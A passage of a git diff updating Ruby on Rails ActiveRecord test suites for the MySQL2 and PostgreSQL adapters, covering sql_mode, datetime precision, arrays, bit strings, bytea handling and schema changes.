   # TODO: Below is a straight up copy/paste from mysql/connection_test.rb
   # I'm not sure what the correct way is to share these tests between
   # adapters in minitest.
@@ -44,12 +76,11 @@ class MysqlConnectionTest < ActiveRecord::TestCase
     assert_equal [["STRICT_ALL_TABLES"]], result.rows
   end
 
-  def test_mysql_strict_mode_disabled_dont_override_global_sql_mode
+  def test_mysql_strict_mode_disabled
     run_without_connection do |orig_connection|
       ActiveRecord::Base.establish_connection(orig_connection.merge({:strict => false}))
-      global_sql_mode = ActiveRecord::Base.connection.exec_query "SELECT @@GLOBAL.sql_mode"
-      session_sql_mode = ActiveRecord::Base.connection.exec_query "SELECT @@SESSION.sql_mode"
-      assert_equal global_sql_mode.rows, session_sql_mode.rows
+      result = ActiveRecord::Base.connection.exec_query "SELECT @@SESSION.sql_mode"
+      assert_equal [['']], result.rows
     end
   end
 
@@ -61,6 +92,14 @@ class MysqlConnectionTest < ActiveRecord::TestCase
     end
   end
 
+  def test_mysql_sql_mode_variable_overrides_strict_mode
+    run_without_connection do |orig_connection|
+      ActiveRecord::Base.establish_connection(orig_connection.deep_merge(variables: { 'sql_mode' => 'ansi' }))
+      result = ActiveRecord::Base.connection.exec_query 'SELECT @@SESSION.sql_mode'
+      assert_not_equal [['STRICT_ALL_TABLES']], result.rows
+    end
+  end
+
   def test_mysql_set_session_variable_to_default
     run_without_connection do |orig_connection|
       ActiveRecord::Base.establish_connection(orig_connection.deep_merge({:variables => {:default_week_format => :default}}))
@@ -72,26 +111,15 @@ class MysqlConnectionTest < ActiveRecord::TestCase
 
   def test_logs_name_show_variable
     @connection.show_variable 'foo'
-    assert_equal "SCHEMA", @connection.logged[0][1]
+    assert_equal "SCHEMA", @subscriber.logged[0][1]
   end
 
   def test_logs_name_rename_column_sql
     @connection.execute "CREATE TABLE `bar_baz` (`foo` varchar(255))"
-    @connection.logged = []
+    @subscriber.logged.clear
     @connection.send(:rename_column_sql, 'bar_baz', 'foo', 'foo2')
-    assert_equal "SCHEMA", @connection.logged[0][1]
+    assert_equal "SCHEMA", @subscriber.logged[0][1]
   ensure
     @connection.execute "DROP TABLE `bar_baz`"
   end
-
-  private
-
-  def run_without_connection
-    original_connection = ActiveRecord::Base.remove_connection
-    begin
-      yield original_connection
-    ensure
-      ActiveRecord::Base.establish_connection(original_connection)
-    end
-  end
 end
diff --git a/activerecord/test/cases/adapters/mysql2/datetime_test.rb b/activerecord/test/cases/adapters/mysql2/datetime_test.rb
new file mode 100644
index 0000000000..7a37247d6a
--- /dev/null
+++ b/activerecord/test/cases/adapters/mysql2/datetime_test.rb
@@ -0,0 +1,84 @@
+require 'cases/helper'
+
+if mysql_56?
+  class DateTimeTest < ActiveRecord::TestCase
+    self.use_transactional_fixtures = false
+
+    teardown do
+      ActiveRecord::Base.connection.drop_table(:foos, if_exists: true)
+    end
+
+    class Foo < ActiveRecord::Base; end
+
+    def test_datetime_data_type_with_precision
+      ActiveRecord::Base.connection.create_table(:foos, force: true)
+      ActiveRecord::Base.connection.add_column :foos, :created_at, :datetime, precision: 1
+      ActiveRecord::Base.connection.add_column :foos, :updated_at, :datetime, precision: 5
+      assert_equal 1, activerecord_column_option('foos', 'created_at', 'precision')
+      assert_equal 5, activerecord_column_option('foos', 'updated_at', 'precision')
+    end
+
+    def test_timestamps_helper_with_custom_precision
+      ActiveRecord::Base.connection.create_table(:foos, force: true) do |t|
+        t.timestamps null: true, precision: 4
+      end
+      assert_equal 4, activerecord_column_option('foos', 'created_at', 'precision')
+      assert_equal 4, activerecord_column_option('foos', 'updated_at', 'precision')
+    end
+
+    def test_passing_precision_to_datetime_does_not_set_limit
+      ActiveRecord::Base.connection.create_table(:foos, force: true) do |t|
+        t.timestamps null: true, precision: 4
+      end
+      assert_nil activerecord_column_option('foos', 'created_at', 'limit')
+      assert_nil activerecord_column_option('foos', 'updated_at', 'limit')
+    end
+
+    def test_invalid_datetime_precision_raises_error
+      assert_raises ActiveRecord::ActiveRecordError do
+        ActiveRecord::Base.connection.create_table(:foos, force: true) do |t|
+          t.timestamps null: true, precision: 7
+        end
+      end
+    end
+
+    def test_mysql_agrees_with_activerecord_about_precision
+      ActiveRecord::Base.connection.create_table(:foos, force: true) do |t|
+        t.timestamps null: true, precision: 4
+      end
+      assert_equal 4, mysql_datetime_precision('foos', 'created_at')
+      assert_equal 4, mysql_datetime_precision('foos', 'updated_at')
+    end
+
+    def test_formatting_datetime_according_to_precision
+      ActiveRecord::Base.connection.create_table(:foos, force: true) do |t|
+        t.datetime :created_at, precision: 0
+        t.datetime :updated_at, precision: 4
+      end
+      date = ::Time.utc(2014, 8, 17, 12, 30, 0, 999999)
+      Foo.create!(created_at: date, updated_at: date)
+      assert foo = Foo.find_by(created_at: date)
+      assert_equal date.to_s, foo.created_at.to_s
+      assert_equal date.to_s, foo.updated_at.to_s
+      assert_equal 000000, foo.created_at.usec
+      assert_equal 999900, foo.updated_at.usec
+    end
+
+    private
+
+    def mysql_datetime_precision(table_name, column_name)
+      results = ActiveRecord::Base.connection.exec_query("SELECT column_name, datetime_precision FROM information_schema.columns WHERE table_name = '#{table_name}'")
+      result = results.find do |result_hash|
+        result_hash["column_name"] == column_name
+      end
+      result && result["datetime_precision"]
+    end
+
+    def activerecord_column_option(tablename, column_name, option)
+      result = ActiveRecord::Base.connection.columns(tablename).find do |column|
+        column.name == column_name
+      end
+      result && result.send(option)
+    end
+  end
+end
diff --git a/activerecord/test/cases/adapters/mysql2/explain_test.rb b/activerecord/test/cases/adapters/mysql2/explain_test.rb
index 68ed361aeb..2b01d941b8 100644
--- a/activerecord/test/cases/adapters/mysql2/explain_test.rb
+++ b/activerecord/test/cases/adapters/mysql2/explain_test.rb
@@ -1,5 +1,6 @@
 require "cases/helper"
 require 'models/developer'
+require 'models/computer'
 
 module ActiveRecord
   module ConnectionAdapters
@@ -9,16 +10,16 @@ module ActiveRecord
 
         def test_explain_for_one_query
           explain = Developer.where(:id => 1).explain
-          assert_match %(EXPLAIN for: SELECT `developers`.* FROM `developers`  WHERE `developers`.`id` = 1), explain
-          assert_match %(developers | const), explain
+          assert_match %(EXPLAIN for: SELECT `developers`.* FROM `developers` WHERE `developers`.`id` = 1), explain
+          assert_match %r(developers |.* const), explain
         end
 
         def test_explain_with_eager_loading
           explain = Developer.where(:id => 1).includes(:audit_logs).explain
-          assert_match %(EXPLAIN for: SELECT `developers`.* FROM `developers`  WHERE `developers`.`id` = 1), explain
-          assert_match %(developers | const), explain
-          assert_match %(EXPLAIN for: SELECT `audit_logs`.* FROM `audit_logs`  WHERE `audit_logs`.`developer_id` IN (1)), explain
-          assert_match %(audit_logs | ALL), explain
+          assert_match %(EXPLAIN for: SELECT `developers`.* FROM `developers` WHERE `developers`.`id` = 1), explain
+          assert_match %r(developers |.* const), explain
+          assert_match %(EXPLAIN for: SELECT `audit_logs`.* FROM `audit_logs` WHERE `audit_logs`.`developer_id` = 1), explain
+          assert_match %r(audit_logs |.* ALL), explain
         end
       end
     end
diff --git a/activerecord/test/cases/adapters/mysql2/reserved_word_test.rb b/activerecord/test/cases/adapters/mysql2/reserved_word_test.rb
index 1a82308176..7f97b454bb 100644
--- a/activerecord/test/cases/adapters/mysql2/reserved_word_test.rb
+++ b/activerecord/test/cases/adapters/mysql2/reserved_word_test.rb
@@ -37,7 +37,7 @@ class MysqlReservedWordTest < ActiveRecord::TestCase
       'distinct_select'=>'distinct_id int, select_id int'
   end
 
-  def teardown
+  teardown do
     drop_tables_directly ['group', 'select', 'values', 'distinct', 'distinct_select', 'order']
   end
 
@@ -100,7 +100,7 @@ class MysqlReservedWordTest < ActiveRecord::TestCase
     gs = nil
     assert_nothing_raised { gs = Select.find(2).groups }
     assert_equal gs.length, 2
-    assert(gs.collect{|x| x.id}.sort == [2, 3])
+    assert(gs.collect(&:id).sort == [2, 3])
   end
 
   # has_and_belongs_to_many with reserved-word table name
@@ -109,7 +109,7 @@ class MysqlReservedWordTest < ActiveRecord::TestCase
     s = nil
     assert_nothing_raised { s = Distinct.find(1).selects }
     assert_equal s.length, 2
-    assert(s.collect{|x|x.id}.sort == [1, 2])
+    assert(s.collect(&:id).sort == [1, 2])
   end
 
   # activerecord model introspection with reserved-word table and column names
diff --git a/activerecord/test/cases/adapters/mysql2/schema_migrations_test.rb b/activerecord/test/cases/adapters/mysql2/schema_migrations_test.rb
index 9ecd901eac..271b570eb5 100644
--- a/activerecord/test/cases/adapters/mysql2/schema_migrations_test.rb
+++ b/activerecord/test/cases/adapters/mysql2/schema_migrations_test.rb
@@ -4,21 +4,42 @@ module ActiveRecord
   module ConnectionAdapters
     class Mysql2Adapter
       class SchemaMigrationsTest < ActiveRecord::TestCase
-        def test_initializes_schema_migrations_for_encoding_utf8mb4
-          conn = ActiveRecord::Base.connection
+        def test_renaming_index_on_foreign_key
+          connection.add_index "engines", "car_id"
+          connection.add_foreign_key :engines, :cars, name: "fk_engines_cars"
+
+          connection.rename_index("engines", "index_engines_on_car_id", "idx_renamed")
+          assert_equal ["idx_renamed"], connection.indexes("engines").map(&:name)
+        ensure
+          connection.remove_foreign_key :engines, name: "fk_engines_cars"
+        end
 
+        def test_initializes_schema_migrations_for_encoding_utf8mb4
           smtn = ActiveRecord::Migrator.schema_migrations_table_name
-          conn.drop_table(smtn) if conn.table_exists?(smtn)
+          connection.drop_table smtn, if_exists: true
+
+          database_name = connection.current_database
+          database_info = connection.select_one("SELECT * FROM information_schema.schemata WHERE schema_name = '#{database_name}'")
 
-          config = conn.instance_variable_get(:@config)
-          original_encoding = config[:encoding]
+          original_charset = database_info["DEFAULT_CHARACTER_SET_NAME"]
+          original_collation = database_info["DEFAULT_COLLATION_NAME"]
 
-          config[:encoding] = 'utf8mb4'
-          conn.initialize_schema_migrations_table
+          execute("ALTER DATABASE #{database_name} DEFAULT CHARACTER SET utf8mb4")
 
-          assert conn.column_exists?(smtn, :version, :string, limit: Mysql2Adapter::MAX_INDEX_LENGTH_FOR_UTF8MB4)
+          connection.initialize_schema_migrations_table
+
+          assert connection.column_exists?(smtn, :version, :string, limit: Mysql2Adapter::MAX_INDEX_LENGTH_FOR_UTF8MB4)
         ensure
-          config[:encoding] = original_encoding
+          execute("ALTER DATABASE #{database_name} DEFAULT CHARACTER SET #{original_charset} COLLATE #{original_collation}")
+        end
+
+        private
+        def connection
+          @connection ||= ActiveRecord::Base.connection
+        end
+
+        def execute(sql)
+          connection.execute(sql)
         end
       end
     end
diff --git a/activerecord/test/cases/adapters/mysql2/schema_test.rb b/activerecord/test/cases/adapters/mysql2/schema_test.rb
index 5db60ff8a0..47707b7d4f 100644
--- a/activerecord/test/cases/adapters/mysql2/schema_test.rb
+++ b/activerecord/test/cases/adapters/mysql2/schema_test.rb
@@ -51,7 +51,7 @@ module ActiveRecord
 
         table = 'key_tests'
 
-        indexes = @connection.indexes(table).sort_by {|i| i.name}
+        indexes = @connection.indexes(table).sort_by(&:name)
         assert_equal 3,indexes.size
 
         index_a = indexes.select{|i| i.name == index_a_name}[0]
@@ -65,6 +65,17 @@ module ActiveRecord
         assert_nil index_c.using
         assert_equal :fulltext, index_c.type
       end
+
+      unless mysql_enforcing_gtid_consistency?
+        def test_drop_temporary_table
+          @connection.transaction do
+            @connection.create_table(:temp_table, temporary: true)
+            # if it doesn't properly say DROP TEMPORARY TABLE, the transaction commit
+            # will complain that no transaction is active
+            @connection.drop_table(:temp_table, temporary: true)
+          end
+        end
+      end
     end
   end
 end
diff --git a/activerecord/test/cases/adapters/mysql2/unsigned_type_test.rb b/activerecord/test/cases/adapters/mysql2/unsigned_type_test.rb
new file mode 100644
index 0000000000..8f521e9181
--- /dev/null
+++ b/activerecord/test/cases/adapters/mysql2/unsigned_type_test.rb
@@ -0,0 +1,30 @@
+require "cases/helper"
+
+class UnsignedTypeTest < ActiveRecord::TestCase
+  self.use_transactional_fixtures = false
+
+  class UnsignedType < ActiveRecord::Base
+  end
+
+  setup do
+    @connection = ActiveRecord::Base.connection
+    @connection.create_table("unsigned_types", force: true) do |t|
+      t.column :unsigned_integer, "int unsigned"
+    end
+  end
+
+  teardown do
+    @connection.drop_table "unsigned_types"
+  end
+
+  test "unsigned int max value is in range" do
+    assert expected = UnsignedType.create(unsigned_integer: 4294967295)
+    assert_equal expected, UnsignedType.find_by(unsigned_integer: 4294967295)
+  end
+
+  test "minus value is out of range" do
+    assert_raise(RangeError) do
+      UnsignedType.create(unsigned_integer: -10)
+    end
+  end
+end
diff --git a/activerecord/test/cases/adapters/oracle/synonym_test.rb b/activerecord/test/cases/adapters/oracle/synonym_test.rb
deleted file mode 100644
index b9a422a6ca..0000000000
--- a/activerecord/test/cases/adapters/oracle/synonym_test.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-require "cases/helper"
-require 'models/topic'
-require 'models/subject'
-
-# confirm that synonyms work just like tables; in this case
-# the "subjects" table in Oracle (defined in oci.sql) is just
-# a synonym to the "topics" table
-
-class TestOracleSynonym < ActiveRecord::TestCase
-
-  def test_oracle_synonym
-    topic = Topic.new
-    subject = Subject.new
-    assert_equal(topic.attributes, subject.attributes)
-  end
-
-end
diff --git a/activerecord/test/cases/adapters/postgresql/active_schema_test.rb b/activerecord/test/cases/adapters/postgresql/active_schema_test.rb
index 22dd48e113..3808db5141 100644
--- a/activerecord/test/cases/adapters/postgresql/active_schema_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/active_schema_test.rb
@@ -7,7 +7,7 @@ class PostgresqlActiveSchemaTest < ActiveRecord::TestCase
     end
   end
 
-  def teardown
+  teardown do
     ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.class_eval do
       remove_method :execute
     end
diff --git a/activerecord/test/cases/adapters/postgresql/array_test.rb b/activerecord/test/cases/adapters/postgresql/array_test.rb
index ecdbefcd03..3d5b7e5137 100644
--- a/activerecord/test/cases/adapters/postgresql/array_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/array_test.rb
@@ -1,43 +1,78 @@
-# encoding: utf-8
 require "cases/helper"
-require 'active_record/base'
-require 'active_record/connection_adapters/postgresql_adapter'
+require 'support/schema_dumping_helper'
 
 class PostgresqlArrayTest < ActiveRecord::TestCase
+  include SchemaDumpingHelper
+  include InTimeZone
+  OID = ActiveRecord::ConnectionAdapters::PostgreSQL::OID
+
   class PgArray < ActiveRecord::Base
     self.table_name = 'pg_arrays'
   end
 
   def setup
     @connection = ActiveRecord::Base.connection
-      @connection.transaction do
-        @connection.create_table('pg_arrays') do |t|
-          t.string 'tags', array: true
-          t.integer 'ratings', array: true
-        end
+
+    enable_extension!('hstore', @connection)
+
+    @connection.transaction do
+      @connection.create_table('pg_arrays') do |t|
+        t.string 'tags', array: true
+        t.integer 'ratings', array: true
+        t.datetime :datetimes, array: true
+        t.hstore :hstores, array: true
       end
-    @column = PgArray.columns.find { |c| c.name == 'tags' }
+    end
+    @column = PgArray.columns_hash['tags']
+    @type = PgArray.type_for_attribute("tags")
   end
 
-  def teardown
+  teardown do
     @connection.execute 'drop table if exists pg_arrays'
+    disable_extension!('hstore', @connection)
   end
 
   def test_column
     assert_equal :string, @column.type
-    assert @column.array
+    assert_equal "character varying", @column.sql_type
+    assert @column.array?
+    assert_not @type.binary?
+
+    ratings_column = PgArray.columns_hash['ratings']
+    assert_equal :integer, ratings_column.type
+    assert ratings_column.array?
+  end
+
+  def test_default
+    @connection.add_column 'pg_arrays', 'score', :integer, array: true, default: [4, 4, 2]
+    PgArray.reset_column_information
+
+    assert_equal([4, 4, 2], PgArray.column_defaults['score'])
+    assert_equal([4, 4, 2], PgArray.new.score)
+  ensure
+    PgArray.reset_column_information
+  end
+
+  def test_default_strings
+    @connection.add_column 'pg_arrays', 'names', :string, array: true, default: ["foo", "bar"]
+    PgArray.reset_column_information
+
+    assert_equal(["foo", "bar"], PgArray.column_defaults['names'])
+    assert_equal(["foo", "bar"], PgArray.new.names)
+  ensure
+    PgArray.reset_column_information
   end
 
   def test_change_column_with_array
     @connection.add_column :pg_arrays, :snippets, :string, array: true, default: []
-    @connection.change_column :pg_arrays, :snippets, :text, array: true, default: "{}"
+    @connection.change_column :pg_arrays, :snippets, :text, array: true, default: []
 
     PgArray.reset_column_information
-    column = PgArray.columns.find { |c| c.name == 'snippets' }
+    column = PgArray.columns_hash['snippets']
 
     assert_equal :text, column.type
-    assert_equal [], column.default
-    assert column.array
+    assert_equal [], PgArray.column_defaults['snippets']
+    assert column.array?
   end
 
   def test_change_column_cant_make_non_array_column_to_array
@@ -49,40 +84,80 @@ class PostgresqlArrayTest < ActiveRecord::TestCase
     end
   end
 
+  def test_change_column_default_with_array
+    @connection.change_column_default :pg_arrays, :tags, []
+
+    PgArray.reset_column_information
+    assert_equal [], PgArray.column_defaults['tags']
+  end
+
   def test_type_cast_array
-    assert @column
+    assert_equal(['1', '2', '3'], @type.type_cast_from_database('{1,2,3}'))
+    assert_equal([], @type.type_cast_from_database('{}'))
+    assert_equal([nil], @type.type_cast_from_database('{NULL}'))
+  end
+
+  def test_type_cast_integers
+    x = PgArray.new(ratings: ['1', '2'])
 
-    data = '{1,2,3}'
-    oid_type  = @column.instance_variable_get('@oid_type').subtype
-    # we are getting the instance variable in this test, but in the
-    # normal use of string_to_array, it's called from the OID::Array
-    # class and will have the OID instance that will provide the type
-    # casting
-    array = @column.class.string_to_array data, oid_type
-    assert_equal(['1', '2', '3'], array)
-    assert_equal(['1', '2', '3'], @column.type_cast(data))
+    assert_equal([1, 2], x.ratings)
 
-    assert_equal([], @column.type_cast('{}'))
-    assert_equal([nil], @column.type_cast('{NULL}'))
+    x.save!
+    x.reload
+
+    assert_equal([1, 2], x.ratings)
   end
 
-  def test_rewrite
+  def test_schema_dump_with_shorthand
+    output = dump_table_schema "pg_arrays"
+    assert_match %r[t\.string\s+"tags",\s+array: true], output
+    assert_match %r[t\.integer\s+"ratings",\s+array: true], output
+  end
+
+  def test_select_with_strings
     @connection.execute "insert into pg_arrays (tags) VALUES ('{1,2,3}')"
     x = PgArray.first
-    x.tags = ['1','2','3','4']
-    assert x.save!
+    assert_equal(['1','2','3'], x.tags)
   end
 
-  def test_select
+  def test_rewrite_with_strings
     @connection.execute "insert into pg_arrays (tags) VALUES ('{1,2,3}')"
     x = PgArray.first
-    assert_equal(['1','2','3'], x.tags)
+    x.tags = ['1','2','3','4']
+    x.save!
+    assert_equal ['1','2','3','4'], x.reload.tags
+  end
+
+  def test_select_with_integers
+    @connection.execute "insert into pg_arrays (ratings) VALUES ('{1,2,3}')"
+    x = PgArray.first
+    assert_equal([1, 2, 3], x.ratings)
+  end
+
+  def test_rewrite_with_integers
+    @connection.execute "insert into pg_arrays (ratings) VALUES ('{1,2,3}')"
+    x = PgArray.first
+    x.ratings = [2, '3', 4]
+    x.save!
+    assert_equal [2, 3, 4], x.reload.ratings
   end
 
   def test_multi_dimensional_with_strings
     assert_cycle(:tags, [[['1'], ['2']], [['2'], ['3']]])
   end
 
+  def test_with_empty_strings
+    assert_cycle(:tags, [ '1', '2', '', '4', '', '5' ])
+  end
+
+  def test_with_multi_dimensional_empty_strings
+    assert_cycle(:tags, [[['1', '2'], ['', '4'], ['', '5']]])
+  end
+
+  def test_with_arbitrary_whitespace
+    assert_cycle(:tags, [[['1', '2'], ['    ', '4'], ['    ', '5']]])
+  end
+
   def test_multi_dimensional_with_integers
     assert_cycle(:ratings, [[[1], [7]], [[8], [10]]])
   end
@@ -113,6 +188,117 @@ class PostgresqlArrayTest < ActiveRecord::TestCase
     assert_equal(PgArray.last.tags, tag_values)
   end
 
+  def test_attribute_for_inspect_for_array_field
+    record = PgArray.new { |a| a.ratings = (1..11).to_a }
+    assert_equal("[1, 2, 3, 4, 5, 6, 7, 8, 9, 10, ...]", record.attribute_for_inspect(:ratings))
+  end
+
+  def test_escaping
+    unknown = 'foo\\",bar,baz,\\'
+    tags = ["hello_#{unknown}"]
+    ar = PgArray.create!(tags: tags)
+    ar.reload
+    assert_equal tags, ar.tags
+  end
+
+  def test_string_quoting_rules_match_pg_behavior
+    tags = ["", "one{", "two}", %(three"), "four\\", "five ", "six\t", "seven\n", "eight,", "nine", "ten\r", "NULL"]
+    x = PgArray.create!(tags: tags)
+    x.reload
+
+    assert_equal x.tags_before_type_cast, PgArray.type_for_attribute('tags').type_cast_for_database(tags)
+  end
+
+  def test_quoting_non_standard_delimiters
+    strings = ["hello,", "world;"]
+    comma_delim = OID::Array.new(ActiveRecord::Type::String.new, ',')
+    semicolon_delim = OID::Array.new(ActiveRecord::Type::String.new, ';')
+
+    assert_equal %({"hello,",world;}), comma_delim.type_cast_for_database(strings)
+    assert_equal %({hello,;"world;"}), semicolon_delim.type_cast_for_database(strings)
+  end
+
+  def test_mutate_array
+    x = PgArray.create!(tags: %w(one two))
+
+    x.tags << "three"
+    x.save!
+    x.reload
+
+    assert_equal %w(one two three), x.tags
+    assert_not x.changed?
+  end
+
+  def test_mutate_value_in_array
+    x = PgArray.create!(hstores: [{ a: 'a' }, { b: 'b' }])
+
+    x.hstores.first['a'] = 'c'
+    x.save!
+    x.reload
+
+    assert_equal [{ 'a' => 'c' }, { 'b' => 'b' }], x.hstores
+    assert_not x.changed?
+  end
+
+  def test_datetime_with_timezone_awareness
+    tz = "Pacific Time (US & Canada)"
+
+    in_time_zone tz do
+      PgArray.reset_column_information
+      time_string = Time.current.to_s
+      time = Time.zone.parse(time_string)
+
+      record = PgArray.new(datetimes: [time_string])
+      assert_equal [time], record.datetimes
+      assert_equal ActiveSupport::TimeZone[tz], record.datetimes.first.time_zone
+
+      record.save!
+      record.reload
+
+      assert_equal [time], record.datetimes
+      assert_equal ActiveSupport::TimeZone[tz], record.datetimes.first.time_zone
+    end
+  end
+
+  def test_assigning_non_array_value
+    record = PgArray.new(tags: "not-an-array")
+    assert_equal [], record.tags
+    assert_equal "not-an-array", record.tags_before_type_cast
+    assert record.save
+    assert_equal record.tags, record.reload.tags
+  end
+
+  def test_assigning_empty_string
+    record = PgArray.new(tags: "")
+    assert_equal [], record.tags
+    assert_equal "", record.tags_before_type_cast
+    assert record.save
+    assert_equal record.tags, record.reload.tags
+  end
+
+  def test_assigning_valid_pg_array_literal
+    record = PgArray.new(tags: "{1,2,3}")
+    assert_equal ["1", "2", "3"], record.tags
+    assert_equal "{1,2,3}", record.tags_before_type_cast
+    assert record.save
+    assert_equal record.tags, record.reload.tags
+  end
+
+  def test_uniqueness_validation
+    klass = Class.new(PgArray) do
+      validates_uniqueness_of :tags
+
+      def self.model_name; ActiveModel::Name.new(PgArray) end
+    end
+    e1 = klass.create("tags" => ["black", "blue"])
+    assert e1.persisted?, "Saving e1"
+
+    e2 = klass.create("tags" => ["black", "blue"])
+    assert !e2.persisted?, "e2 shouldn't be valid"
+    assert e2.errors[:tags].any?, "Should have errors for tags"
+    assert_equal ["has already been taken"], e2.errors[:tags], "Should have uniqueness message for tags"
+  end
+
   private
   def assert_cycle field, array
     # test creation
diff --git a/activerecord/test/cases/adapters/postgresql/bit_string_test.rb b/activerecord/test/cases/adapters/postgresql/bit_string_test.rb
new file mode 100644
index 0000000000..6c6b4dc22a
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/bit_string_test.rb
@@ -0,0 +1,79 @@
+require "cases/helper"
+require 'support/connection_helper'
+require 'support/schema_dumping_helper'
+
+class PostgresqlBitStringTest < ActiveRecord::TestCase
+  include ConnectionHelper
+  include SchemaDumpingHelper
+
+  class PostgresqlBitString < ActiveRecord::Base; end
+
+  def setup
+    @connection = ActiveRecord::Base.connection
+    @connection.create_table('postgresql_bit_strings', :force => true) do |t|
+      t.bit :a_bit, default: "00000011", limit: 8
+      t.bit_varying :a_bit_varying, default: "0011", limit: 4
+      t.bit :another_bit
+      t.bit_varying :another_bit_varying
+    end
+  end
+
+  def teardown
+    return unless @connection
+    @connection.execute 'DROP TABLE IF EXISTS postgresql_bit_strings'
+  end
+
+  def test_bit_string_column
+    column = PostgresqlBitString.columns_hash["a_bit"]
+    assert_equal :bit, column.type
+    assert_equal "bit(8)", column.sql_type
+    assert_not column.array?
+
+    type = PostgresqlBitString.type_for_attribute("a_bit")
+    assert_not type.binary?
+  end
+
+  def test_bit_string_varying_column
+    column = PostgresqlBitString.columns_hash["a_bit_varying"]
+    assert_equal :bit_varying, column.type
+    assert_equal "bit varying(4)", column.sql_type
+    assert_not column.array?
+
+    type = PostgresqlBitString.type_for_attribute("a_bit_varying")
+    assert_not type.binary?
+  end
+
+  def test_default
+    assert_equal "00000011", PostgresqlBitString.column_defaults['a_bit']
+    assert_equal "00000011", PostgresqlBitString.new.a_bit
+
+    assert_equal "0011", PostgresqlBitString.column_defaults['a_bit_varying']
+    assert_equal "0011", PostgresqlBitString.new.a_bit_varying
+  end
+
+  def test_schema_dumping
+    output = dump_table_schema("postgresql_bit_strings")
+    assert_match %r{t\.bit\s+"a_bit",\s+limit: 8,\s+default: "00000011"$}, output
+    assert_match %r{t\.bit_varying\s+"a_bit_varying",\s+limit: 4,\s+default: "0011"$}, output
+  end
+
+  def test_assigning_invalid_hex_string_raises_exception
+    assert_raises(ActiveRecord::StatementInvalid) { PostgresqlBitString.create! a_bit: "FF" }
+    assert_raises(ActiveRecord::StatementInvalid) { PostgresqlBitString.create! a_bit_varying: "FF" }
+  end
+
+  def test_roundtrip
+    PostgresqlBitString.create! a_bit: "00001010", a_bit_varying: "0101"
+    record = PostgresqlBitString.first
+    assert_equal "00001010", record.a_bit
+    assert_equal "0101", record.a_bit_varying
+
+    record.a_bit = "11111111"
+    record.a_bit_varying = "0xF"
+    record.save!
+
+    assert record.reload
+    assert_equal "11111111", record.a_bit
+    assert_equal "1111", record.a_bit_varying
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/bytea_test.rb b/activerecord/test/cases/adapters/postgresql/bytea_test.rb
index b8dd35c4c5..678a476661 100644
--- a/activerecord/test/cases/adapters/postgresql/bytea_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/bytea_test.rb
@@ -1,8 +1,4 @@
-# encoding: utf-8
-
 require "cases/helper"
-require 'active_record/base'
-require 'active_record/connection_adapters/postgresql_adapter'
 
 class PostgresqlByteaTest < ActiveRecord::TestCase
   class ByteaDataType < ActiveRecord::Base
@@ -19,33 +15,41 @@ class PostgresqlByteaTest < ActiveRecord::TestCase
         end
       end
     end
-    @column = ByteaDataType.columns.find { |c| c.name == 'payload' }
-    assert(@column.is_a?(ActiveRecord::ConnectionAdapters::PostgreSQLColumn))
+    @column = ByteaDataType.columns_hash['payload']
+    @type = ByteaDataType.type_for_attribute("payload")
   end
 
-  def teardown
+  teardown do
     @connection.execute 'drop table if exists bytea_data_type'
   end
 
   def test_column
+    assert @column.is_a?(ActiveRecord::ConnectionAdapters::PostgreSQLColumn)
     assert_equal :binary, @column.type
   end
 
+  def test_binary_columns_are_limitless_the_upper_limit_is_one_GB
+    assert_equal 'bytea', @connection.type_to_sql(:binary, 100_000)
+    assert_raise ActiveRecord::ActiveRecordError do
+      @connection.type_to_sql :binary, 4294967295
+    end
+  end
+
   def test_type_cast_binary_converts_the_encoding
     assert @column
 
     data = "\u001F\x8B"
     assert_equal('UTF-8', data.encoding.name)
-    assert_equal('ASCII-8BIT', @column.type_cast(data).encoding.name)
+    assert_equal('ASCII-8BIT', @type.type_cast_from_database(data).encoding.name)
   end
 
   def test_type_cast_binary_value
     data = "\u001F\x8B".force_encoding("BINARY")
-    assert_equal(data, @column.type_cast(data))
+    assert_equal(data, @type.type_cast_from_database(data))
   end
 
   def test_type_case_nil
-    assert_equal(nil, @column.type_cast(nil))
+    assert_equal(nil, @type.type_cast_from_database(nil))
   end
 
   def test_read_value
@@ -70,6 +74,23 @@ class PostgresqlByteaTest < ActiveRecord::TestCase
     assert_equal(data, record.payload)
   end
 
+  def test_via_to_sql
+    data = "'\u001F\\"
+    ByteaDataType.create(payload: data)
+    sql = ByteaDataType.where(payload: data).select(:payload).to_sql
+    result = @connection.query(sql)
+    assert_equal([[data]], result)
+  end
+
+  def test_via_to_sql_with_complicating_connection
+    Thread.new do
+      other_conn = ActiveRecord::Base.connection
+      other_conn.execute('SET standard_conforming_strings = off')
+    end.join
+
+    test_via_to_sql
+  end
+
   def test_write_binary
     data = File.read(File.join(File.dirname(__FILE__), '..', '..', '..', 'assets', 'example.log'))
     assert(data.size > 1)
diff --git a/activerecord/test/cases/adapters/postgresql/change_schema_test.rb b/activerecord/test/cases/adapters/postgresql/change_schema_test.rb
new file mode 100644
index 0000000000..6c1b29f7fe
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/change_schema_test.rb
@@ -0,0 +1,31 @@
+require 'cases/helper'
+
+module ActiveRecord
+  class Migration
+    class PGChangeSchemaTest < ActiveRecord::TestCase
+      attr_reader :connection
+
+      def setup
+        super
+        @connection = ActiveRecord::Base.connection
+        connection.create_table(:strings) do |t|
+          t.string :somedate
+        end
+      end
+
+      def teardown
+        connection.drop_table :strings
+      end
+
+      def test_change_string_to_date
+        connection.change_column :strings, :somedate, :timestamp, using: 'CAST("somedate" AS timestamp)'
+        assert_equal :datetime, connection.columns(:strings).find { |c| c.name == 'somedate' }.type
+      end
+
+      def test_change_type_with_symbol
+        connection.change_column :strings, :somedate, :timestamp, cast_as: :timestamp
+        assert_equal :datetime, connection.columns(:strings).find { |c| c.name == 'somedate' }.type
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/cidr_test.rb b/activerecord/test/cases/adapters/postgresql/cidr_test.rb
new file mode 100644
index 0000000000..54b679d3ab
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/cidr_test.rb
@@ -0,0 +1,25 @@
+require "cases/helper"
+require "ipaddr"
+
+module ActiveRecord
+  module ConnectionAdapters
+    class PostgreSQLAdapter
